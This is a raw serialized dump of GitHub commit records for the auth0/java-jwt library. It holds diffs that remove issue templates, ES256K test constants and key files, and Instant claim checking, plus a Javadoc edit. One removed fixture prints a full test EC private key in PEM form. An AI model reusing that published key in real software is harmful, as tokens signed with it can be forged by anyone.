-Thank you in advance for helping us to improve this library! Your attention to detail here is greatly appreciated and will help us respond as quickly as possible. For general support or usage questions, use the Auth0 Community (https://community.auth0.com/) or Auth0 Support (https://support.auth0.com/). Finally, to avoid duplicates, please search existing Issues before submitting one here.
-
-By submitting an Issue to this repository, you agree to the terms within the Auth0 Code of Conduct (https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md).
--->
-
-### Describe the problem you'd like to have solved
-
-<!--
-> A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
--->
-
-### Describe the ideal solution
-
-<!--
-> A clear and concise description of what you want to happen.
--->
-
-## Alternatives and current work-arounds
-
-<!--
-> A clear and concise description of any alternatives you've considered or any work-arounds that are currently in place.
--->
-
-### Additional information, if any
-
-<!--
-> Add any other context or screenshots about the feature request here.
--->
\ No newline at end of fileu}(j0  (e5cf8c469aec7c9603578bde2bbea587ddd89abfj  &.github/ISSUE_TEMPLATE/report-a-bug.mdj  removedj  K j  K7j  K7j  zhttps://github.com/auth0/java-jwt/blob/82548a6e7b69ad0c6974519c9ebb313d15237cad/.github%2FISSUE_TEMPLATE%2Freport-a-bug.mdj  yhttps://github.com/auth0/java-jwt/raw/82548a6e7b69ad0c6974519c9ebb313d15237cad/.github%2FISSUE_TEMPLATE%2Freport-a-bug.mdj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2Freport-a-bug.md?ref=82548a6e7b69ad0c6974519c9ebb313d15237cadj  X  @@ -1,55 +0,0 @@
----
-name: Report a bug
-about: Have you found a bug or issue? Create a bug report for this SDK
-title: ''
-labels: bug report
-assignees: ''
----
-
-<!--
-**Please do not report security vulnerabilities here**. The Responsible Disclosure Program (https://auth0.com/whitehat) details the procedure for disclosing security issues.
-
-Thank you in advance for helping us to improve this library! Please read through the template below and answer all relevant questions. Your additional work here is greatly appreciated and will help us respond as quickly as possible. For general support or usage questions, use the Auth0 Community (https://community.auth0.com/) or Auth0 Support (https://support.auth0.com/). Finally, to avoid duplicates, please search existing Issues before submitting one here.
-
-By submitting an Issue to this repository, you agree to the terms within the Auth0 Code of Conduct (https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md).
--->
-
-### Describe the problem
-
-<!--
-> Provide a clear and concise description of the issue
--->
-
-### What was the expected behavior?
-
-<!--
-> Tell us about the behavior you expected to see
--->
-
-### Reproduction
-<!--
-> Detail the steps taken to reproduce this error, and whether this issue can be reproduced consistently or if it is intermittent.
-> **Note**: If clear, reproducible steps or the smallest sample app demonstrating misbehavior cannot be provided, we may not be able to follow up on this bug report.
-
-> Where possible, please include:
->
-> - The smallest possible sample app that reproduces the undesirable behavior
-> - Log files (redact/remove sensitive information)
-> - Application settings (redact/remove sensitive information)
-> - Screenshots
--->
-
-- Step 1..
-- Step 2..
-- ...
-
-### Environment
-
-<!--
-> Please provide the following:
--->
-
-- **Version of this library used:**
-- **Version of Java used:**
-- **Other modules/plugins/libraries that might be involved:**
-- **Any other relevant information you think would be useful:**ueu(a95382daeec4cea9ce8c428c5115068cc7cf0669}(sha(a95382daeec4cea9ce8c428c5115068cc7cf0669node_idEC_kwDOAQtL0doAKGE5NTM4MmRhZWVjNGNlYTljZThjNDI4YzUxMTUwNjhjYzdjZjA2Njkcommit}(author}(name
Andreas Rigasemailandreas.rigas@outlook.comdate2022-11-26T16:13:12Zu	committer}(jͬ  
Andreas RigasjϬ  andreas.rigas@outlook.comjѬ  2022-11-26T16:13:12Zumessageremove extra spacetree}(jŬ  (aeb09ff307096487500bb691efe6b98f18afed86url^https://api.github.com/repos/auth0/java-jwt/git/trees/aeb09ff307096487500bb691efe6b98f18afed86ujݬ  `https://api.github.com/repos/auth0/java-jwt/git/commits/a95382daeec4cea9ce8c428c5115068cc7cf0669
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujݬ  \https://api.github.com/repos/auth0/java-jwt/commits/a95382daeec4cea9ce8c428c5115068cc7cf0669html_urlQhttps://github.com/auth0/java-jwt/commit/a95382daeec4cea9ce8c428c5115068cc7cf0669comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a95382daeec4cea9ce8c428c5115068cc7cf0669/commentsjˬ  }(loginandrewrigasidJjǬ  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3jݬ  (https://api.github.com/users/andrewrigasj  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}     subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminujӬ  }(j  andrewrigasj  JjǬ  MDQ6VXNlcjQ4Mjk2NDcxj  4https://avatars.githubusercontent.com/u/48296471?v=4j  h3jݬ  (https://api.github.com/users/andrewrigasj  https://github.com/andrewrigasj  2https://api.github.com/users/andrewrigas/followersj  ?https://api.github.com/users/andrewrigas/following{/other_user}j  8https://api.github.com/users/andrewrigas/gists{/gist_id}j  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}j  6https://api.github.com/users/andrewrigas/subscriptionsj  -https://api.github.com/users/andrewrigas/orgsj  .https://api.github.com/users/andrewrigas/reposj  9https://api.github.com/users/andrewrigas/events{/privacy}j  8https://api.github.com/users/andrewrigas/received_eventsj	  Userj  uparents]}(jŬ  (186df4df96631d575163d10f56f4eec0c72447a3jݬ  \https://api.github.com/repos/auth0/java-jwt/commits/186df4df96631d575163d10f56f4eec0c72447a3j  Qhttps://github.com/auth0/java-jwt/commit/186df4df96631d575163d10f56f4eec0c72447a3uastats}(totalK	additionsK	deletionsKufiles]}(jŬ  (615375588e863216ab26d7aed920baf62dec634afilename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj%  Kj&  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/a95382daeec4cea9ce8c428c5115068cc7cf0669/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/a95382daeec4cea9ce8c428c5115068cc7cf0669/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=a95382daeec4cea9ce8c428c5115068cc7cf0669patchX  @@ -972,7 +972,7 @@ public void withPayloadShouldSupportJsonValueWithNestedDataStructure() throws Js
     @Test
     public void shouldCreatePayloadWithNullForMap() {
         String jwt = JWTCreator.init()
-                .withClaim("name", (Map<String, ?>) null)
+                .withClaim("name", (Map<String,?>) null)
                 .sign(Algorithm.HMAC256("secret"));
         assertThat(jwt, is(notNullValue()));
         assertTrue(JWT.decode(jwt).getClaim("name").isNull());uau(dc63ca7a4640bd1884f1a6379bcc6305f6080363}(sha(dc63ca7a4640bd1884f1a6379bcc6305f6080363node_idEC_kwDOAQtL0doAKGRjNjNjYTdhNDY0MGJkMTg4NGYxYTYzNzliY2M2MzA1ZjYwODAzNjMcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-07T15:36:49Zu	committer}(jB  James AndersonjD  jim.anderson@auth0.comjF  2022-03-07T15:36:49ZumessageBremove custom Instant claim verification check (not yet supported)tree}(j:  (4a38b2b2b55c99c8d9f902343c7769ee9af76f02url^https://api.github.com/repos/auth0/java-jwt/git/trees/4a38b2b2b55c99c8d9f902343c7769ee9af76f02ujR  `https://api.github.com/repos/auth0/java-jwt/git/commits/dc63ca7a4640bd1884f1a6379bcc6305f6080363
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujR  \https://api.github.com/repos/auth0/java-jwt/commits/dc63ca7a4640bd1884f1a6379bcc6305f6080363html_urlQhttps://github.com/auth0/java-jwt/commit/dc63ca7a4640bd1884f1a6379bcc6305f6080363comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/dc63ca7a4640bd1884f1a6379bcc6305f6080363/commentsj@  }(login
jimmyjamesidJ7 j<  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jR  'https://api.github.com/users/jimmyjamesj^  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujH  }(jc  
jimmyjamesje  J7 j<  MDQ6VXNlcjI3NjIyNQ==jg  2https://avatars.githubusercontent.com/u/276225?v=4ji  h3jR  'https://api.github.com/users/jimmyjamesj^  https://github.com/jimmyjamesjl  1https://api.github.com/users/jimmyjames/followersjn  >https://api.github.com/users/jimmyjames/following{/other_user}jp  7https://api.github.com/users/jimmyjames/gists{/gist_id}jr  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jt  5https://api.github.com/users/jimmyjames/subscriptionsjv  ,https://api.github.com/users/jimmyjames/orgsjx  -https://api.github.com/users/jimmyjames/reposjz  8https://api.github.com/users/jimmyjames/events{/privacy}j|  7https://api.github.com/users/jimmyjames/received_eventsj~  Userj  uparents]}(j:  (15ad712c7d0edb75a636ba030f59263c20dc91c8jR  \https://api.github.com/repos/auth0/java-jwt/commits/15ad712c7d0edb75a636ba030f59263c20dc91c8j^  Qhttps://github.com/auth0/java-jwt/commit/15ad712c7d0edb75a636ba030f59263c20dc91c8uastats}(totalK	additionsK 	deletionsKufiles]}(j:  (8dfb6dbf7f4da4863a0d1f2c0a7264a666ebd517filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj  K j  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/dc63ca7a4640bd1884f1a6379bcc6305f6080363/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/dc63ca7a4640bd1884f1a6379bcc6305f6080363/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=dc63ca7a4640bd1884f1a6379bcc6305f6080363patchX  @@ -373,8 +373,6 @@ private void assertValidClaim(Claim claim, String claimName, Object value) {
             isValid = value.equals(claim.asDouble());
         } else if (value instanceof Date) {
             isValid = value.equals(claim.asDate());
-        } else if (value instanceof Instant) {
-            isValid = value.equals(claim.asInstant());
         } else if (value instanceof Object[]) {
             List<Object> claimArr;
             Object[] claimAsObject = claim.as(Object[].class);uau(6dbce7c658c3ae2a334e79c5e246cd39db943dfc}(sha(6dbce7c658c3ae2a334e79c5e246cd39db943dfcnode_idEC_kwDOAQtL0doAKDZkYmNlN2M2NThjM2FlMmEzMzRlNzljNWUyNDZjZDM5ZGI5NDNkZmMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-18T10:45:56Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-18T10:45:56Zumessage#Removed related files and constantstree}(j  (dd86372d67397b9b6f4eeeedf555cbedad39e98aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/dd86372d67397b9b6f4eeeedf555cbedad39e98aujǭ  `https://api.github.com/repos/auth0/java-jwt/git/commits/6dbce7c658c3ae2a334e79c5e246cd39db943dfc
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujǭ  \https://api.github.com/repos/auth0/java-jwt/commits/6dbce7c658c3ae2a334e79c5e246cd39db943dfchtml_urlQhttps://github.com/auth0/java-jwt/commit/6dbce7c658c3ae2a334e79c5e246cd39db943dfccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jǭ  &https://api.github.com/users/poovamrajjӭ  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(jح  	poovamrajjڭ  J j  MDQ6VXNlcjE1OTEwNDI1jܭ  4https://avatars.githubusercontent.com/u/15910425?v=4jޭ  h3jǭ  &https://api.github.com/users/poovamrajjӭ  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (0f080b0aab832a9531d4d60a64601fb05ec2ba6cjǭ  \https://api.github.com/repos/auth0/java-jwt/commits/0f080b0aab832a9531d4d60a64601fb05ec2ba6cjӭ  Qhttps://github.com/auth0/java-jwt/commit/0f080b0aab832a9531d4d60a64601fb05ec2ba6cuastats}(totalK	additionsK 	deletionsKufiles](}(j  (a06df7b72f5615086c3919f731b33ac4178ec183filename9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javastatusmodifiedj  K j  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=6dbce7c658c3ae2a334e79c5e246cd39db943dfcpatchX  @@ -28,8 +28,6 @@ public class ConcurrentVerifyTest {
     private static final int REPEAT_COUNT = 1000;
     private static final String PUBLIC_KEY_FILE = "src/test/resources/rsa-public.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_512 = "src/test/resources/ec512-key-public.pem";
 u}(j  (958e89fb4ce946054d7323dcec96ba266aa09e68j  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=6dbce7c658c3ae2a334e79c5e246cd39db943dfcj   X  @@ -28,11 +28,9 @@ public class JWTTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
 
     private static final String PUBLIC_KEY_FILE_EC_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_512 = "src/test/resources/ec512-key-public.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_512 = "src/test/resources/ec512-key-private.pem";
 u}(j  (8634d419904f165beba8d1d6fa92d2afdff1aae3j  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=6dbce7c658c3ae2a334e79c5e246cd39db943dfcj   XU  @@ -39,11 +39,6 @@ public class ECDSAAlgorithmTest {
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public-invalid.pem";
     
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
-    private static final String ES256K_JWT = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.2ggPsc4xwQhYcgJueo3uQ14MpaVJ3AbEE8UE-wA9fc8SMibeW54gjZbikL-JBHqhEwc22Cp8DNOtadXsM81RGQ";
-    
     private static final String PRIVATE_KEY_FILE_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public-invalid.pem";u}(j  (14631798f50704b67fa7f3e9aa249de9d1b89f1bj  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://github.com/auth0/java-jwt/raw/6dbce7c658c3ae2a334e79c5e246cd39db943dfc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=6dbce7c658c3ae2a334e79c5e246cd39db943dfcj   X~  @@ -33,11 +33,6 @@
 import static org.mockito.Mockito.when;
 
 public class ECDSABouncyCastleProviderTests {
-    
-    
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
 
     private static final String PRIVATE_KEY_FILE_256 = "src/test/resources/ec256-key-private.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";u}(j  (43038c8e8aeaf5896b697e176e13f62325f02d1dj  -lib/src/test/resources/ec256k-key-private.pemj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemj  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pem?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cj   X!  @@ -1,5 +0,0 @@
------BEGIN PRIVATE KEY-----
-MIGEAgEAMBAGByqGSM49AgEGBSuBBAAKBG0wawIBAQQgN78SHuwC8BVLUbuEBXC9
-sn9LuX9a7yqIt1xaiPupqe6hRANCAAS7s8bnSsGqrv7YBqxqJiQKiyPJvcHTe2UG
-7FpOaAlqIUWL5xbpCZbcH9yqozS55KMVxG78KskeuET7hl01J6EU
------END PRIVATE KEY-----
\ No newline at end of fileu}(j  (8809e21b0cb10683bf3ea51553cb631af16d4a03j  4lib/src/test/resources/ec256k-key-public-invalid.pemj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemj  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pem?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cj   @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEXzvxXn69y0I54+Yr0pMXqGyCb1R8D4dS
-xaYhaRuN2fsV+unbFWUYViRoYUgMAbmvnXzVmThLUeP/PTmlv9lm7Q==
------END PUBLIC KEY-----
\ No newline at end of fileu}(j  (1513ed7005c34f927e6636482fb9aa0235e33c45j  ,lib/src/test/resources/ec256k-key-public.pemj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemj  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pem?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cj   @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEu7PG50rBqq7+2AasaiYkCosjyb3B03tl
-BuxaTmgJaiFFi+cW6QmW3B/cqqM0ueSjFcRu/CrJHrhE+4ZdNSehFA==
------END PUBLIC KEY-----
\ No newline at end of fileueu(cd2e85809485e74ab89e31def694b126249e041f}(sha(cd2e85809485e74ab89e31def694b126249e041fnode_idEC_kwDOAQtL0doAKGNkMmU4NTgwOTQ4NWU3NGFiODllMzFkZWY2OTRiMTI2MjQ5ZTA0MWYcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-10-17T07:10:39Zu	committer}(j\  GitHubj^  noreply@github.comj`  2022-10-17T07:10:39Zumessage'Merge branch 'auth0:master' into mastertree}(jT  (74e5c97c31ec28e2a84bcf1d851f8bfc32ac8d28url^https://api.github.com/repos/auth0/java-jwt/git/trees/74e5c97c31ec28e2a84bcf1d851f8bfc32ac8d28ujl  `https://api.github.com/repos/auth0/java-jwt/git/commits/cd2e85809485e74ab89e31def694b126249e041f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjTP/vCRBK7hj4Ov3rIwAAstoIADFQQwRoXSlAIdY774jNbWXR
jRKdoxKbzSBzBt6p4jVM+5g7Q4Iuxad+tVbfl6brow8POxDeVrfq8ZDkeeFM11tg
vz97XIWN2YLD5xP5kJwFDFFV/ssuNzaMKJYYqse09lltQ3fgosW6Tz9b1C1X/qlN
DIPMJ9xyxwwIak7irg+zE+SK8iO0CcjLz8WWae8Gli3Y4e9ydWddHIjRFjbtMBxo
A4XbQ143pyMtrEA5u6sJfwdWoccm7K5q2h15XqSxtMbaF3LXFeRxpe42Gs4qr9QI
nUTQk+o4/DhXksCEqEuZnGhqYj823HhC4W6XRp+UCVVVrCLQFFhfO4PjkqSoK/Q=
=RUUC
-----END PGP SIGNATURE-----
payloadX&  tree 74e5c97c31ec28e2a84bcf1d851f8bfc32ac8d28
parent 75e7db7b735d9e9e84e3f04718b3876b7ae691a8
parent 9840e74b7ef87ce9678d2ee71308499fb1b6f757
author noetro <noel.trout@avinode.com> 1665990639 +0200
committer GitHub <noreply@github.com> 1665990639 +0200

Merge branch 'auth0:master' into master
uujl  \https://api.github.com/repos/auth0/java-jwt/commits/cd2e85809485e74ab89e31def694b126249e041fhtml_urlQhttps://github.com/auth0/java-jwt/commit/cd2e85809485e74ab89e31def694b126249e041fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/cd2e85809485e74ab89e31def694b126249e041f/commentsjZ  }(loginnoetroidJOP&jV  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3jl  #https://api.github.com/users/noetrojz  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminujb  }(j  web-flowj  J/jV  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jl  %https://api.github.com/users/web-flowjz  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jT  (75e7db7b735d9e9e84e3f04718b3876b7ae691a8jl  \https://api.github.com/repos/auth0/java-jwt/commits/75e7db7b735d9e9e84e3f04718b3876b7ae691a8jz  Qhttps://github.com/auth0/java-jwt/commit/75e7db7b735d9e9e84e3f04718b3876b7ae691a8u}(jT  (9840e74b7ef87ce9678d2ee71308499fb1b6f757jl  \https://api.github.com/repos/auth0/java-jwt/commits/9840e74b7ef87ce9678d2ee71308499fb1b6f757jz  Qhttps://github.com/auth0/java-jwt/commit/9840e74b7ef87ce9678d2ee71308499fb1b6f757uestats}(totalK	additionsK	deletionsKufiles]}(jT  (ca5244d660a9bd0de577b5c04800260aeb8f39b4filename5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/cd2e85809485e74ab89e31def694b126249e041f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaraw_urlhttps://github.com/auth0/java-jwt/raw/cd2e85809485e74ab89e31def694b126249e041f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=cd2e85809485e74ab89e31def694b126249e041fpatchX)  @@ -62,9 +62,10 @@ public interface Claim {
 
     /**
      * Get this Claim as a String.
-     * If the value isn't of type String or it can't be converted to a String, {@code null} will be returned.
+     * If the value isn't of type String, {@code null} will be returned. For a String representation of non-textual
+     * claim types, clients can call {@code toString()}.
      *
-     * @return the value as a String or null.
+     * @return the value as a String or null if the underlying value is not a string.
      */
     String asString();
